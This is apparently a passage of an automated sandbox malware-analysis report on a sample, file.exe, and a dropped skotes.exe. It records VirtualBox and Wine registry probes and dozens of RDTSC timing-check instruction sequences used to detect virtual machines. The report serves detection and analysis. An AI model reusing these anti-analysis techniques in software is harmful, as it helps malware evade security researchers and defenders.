Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFA8F second address: 10DFAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F49C1023920h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFAAD second address: 10DFAB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F49C1336BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264AFE second address: 1264B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264B04 second address: 1264B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264B09 second address: 1264B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F49C1023916h 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264B17 second address: 1264B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1336BC0h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jc 00007F49C1336BB6h 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F49C1336BC5h 0x0000001d popad 0x0000001e push ecx 0x0000001f push eax 0x00000020 pop eax 0x00000021 pushad 0x00000022 popad 0x00000023 pop ecx 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1263C43 second address: 1263C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F49C1023925h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126443F second address: 1264456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1336BC2h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264456 second address: 126445F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266C8A second address: 1266C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266E2A second address: 1266E48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023922h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F49C1023916h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266F5F second address: 1266F83 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F49C1336BC6h 0x00000008 jmp 00007F49C1336BC0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F49C1336BB6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266F83 second address: 1266F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266F87 second address: 1266FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F49C1336BC0h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007F49C1336BBBh 0x00000012 push 00000000h 0x00000014 add esi, dword ptr [ebp+122D2CDCh] 0x0000001a push 5609546Eh 0x0000001f pushad 0x00000020 jmp 00007F49C1336BC6h 0x00000025 push ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266FD1 second address: 1267009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 560954EEh 0x0000000d mov dh, al 0x0000000f push 00000003h 0x00000011 sub dword ptr [ebp+122D1C01h], ecx 0x00000017 push 00000000h 0x00000019 mov edi, dword ptr [ebp+122D2AD4h] 0x0000001f push 00000003h 0x00000021 call 00007F49C1023919h 0x00000026 push eax 0x00000027 push edx 0x00000028 jl 00007F49C102391Ch 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267202 second address: 1267206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267206 second address: 126722C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126722C second address: 1267232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267232 second address: 126723C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F49C1023916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D53 second address: 1279D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D57 second address: 1279D5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D5B second address: 1279D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285DF6 second address: 1285DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285DFA second address: 1285E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285F3F second address: 1285F7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F49C102391Eh 0x0000000a popad 0x0000000b jmp 00007F49C1023927h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F49C102391Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285F7A second address: 1285F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F49C1336BB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285F89 second address: 1285FA5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F49C1023916h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F49C102391Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285FA5 second address: 1285FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1285FAB second address: 1285FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1286407 second address: 128640D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128640D second address: 1286414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1286414 second address: 128643F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F49C1336BC3h 0x00000009 jmp 00007F49C1336BC4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1286AD9 second address: 1286AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1023923h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1286AF0 second address: 1286B06 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F49C1336BB6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F49C1336BB6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12875AB second address: 12875CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jnc 00007F49C102392Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287891 second address: 1287895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287895 second address: 128789F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F49C1023916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128789F second address: 12878A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287A19 second address: 1287A23 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F49C1023916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287A23 second address: 1287A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287D31 second address: 1287D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287D35 second address: 1287D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287D3B second address: 1287D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12934AB second address: 12934AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12934AF second address: 12934B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246B79 second address: 1246B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F49C1336BBDh 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246B91 second address: 1246B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292AE8 second address: 1292B02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F49C1336BB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push edi 0x0000000e jno 00007F49C1336BB8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292B02 second address: 1292B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292D9E second address: 1292DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F49C1336BC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129303B second address: 1293041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293041 second address: 1293055 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F49C1336BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F49C1336BB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293055 second address: 1293059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12931FA second address: 1293209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F49C1336BB6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293338 second address: 129333C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129333C second address: 129334E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F49C1336BBCh 0x0000000c jns 00007F49C1336BB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129334E second address: 129335E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F49C102391Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129335E second address: 1293362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293362 second address: 129336C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295182 second address: 129518E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129518E second address: 1295192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295192 second address: 12951E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c ja 00007F49C1336BC9h 0x00000012 pushad 0x00000013 jmp 00007F49C1336BC2h 0x00000018 jmp 00007F49C1336BBEh 0x0000001d popad 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 js 00007F49C1336BB6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12951E6 second address: 12951EC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12951EC second address: 1295206 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F49C1336BB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jbe 00007F49C1336BD4h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12955CD second address: 12955D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129592C second address: 1295941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F49C1336BC0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295F5A second address: 1295F84 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F49C102391Ah 0x00000010 jmp 00007F49C102391Dh 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295F84 second address: 1295F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295F88 second address: 1295FAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C102391Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a xchg eax, ebx 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007F49C1023921h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295FAF second address: 1295FB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F49C1336BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296185 second address: 129618B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129627F second address: 1296283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12964F6 second address: 12964FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296583 second address: 12965AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007F49C1336BC2h 0x0000000d nop 0x0000000e ja 00007F49C1336BB6h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007F49C1336BB6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12965AF second address: 12965B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296A1B second address: 1296A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296A21 second address: 1296A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296A25 second address: 1296A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297300 second address: 1297304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298531 second address: 1298537 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1297304 second address: 129730A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298F92 second address: 1298FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 ja 00007F49C1336BB6h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298FA6 second address: 1298FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A5C8 second address: 129A5E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F49C1336BB6h 0x00000009 js 00007F49C1336BB6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A371 second address: 129A375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B023 second address: 129B0AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F49C1336BC3h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F49C1336BB8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a or dword ptr [ebp+1245857Eh], ecx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F49C1336BB8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov edi, 69374E16h 0x00000051 xchg eax, ebx 0x00000052 jmp 00007F49C1336BBDh 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a js 00007F49C1336BBCh 0x00000060 jg 00007F49C1336BB6h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B0AF second address: 129B0B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B0B5 second address: 129B0B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A046E second address: 12A0480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F49C102391Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2477 second address: 12A247B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C50A second address: 129C510 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0568 second address: 12A056C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A14E2 second address: 12A14EC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F49C1023916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A357C second address: 12A3581 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A056C second address: 12A0572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A14EC second address: 12A1512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F49C1336BBFh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F49C1336BBEh 0x00000013 rdtsc
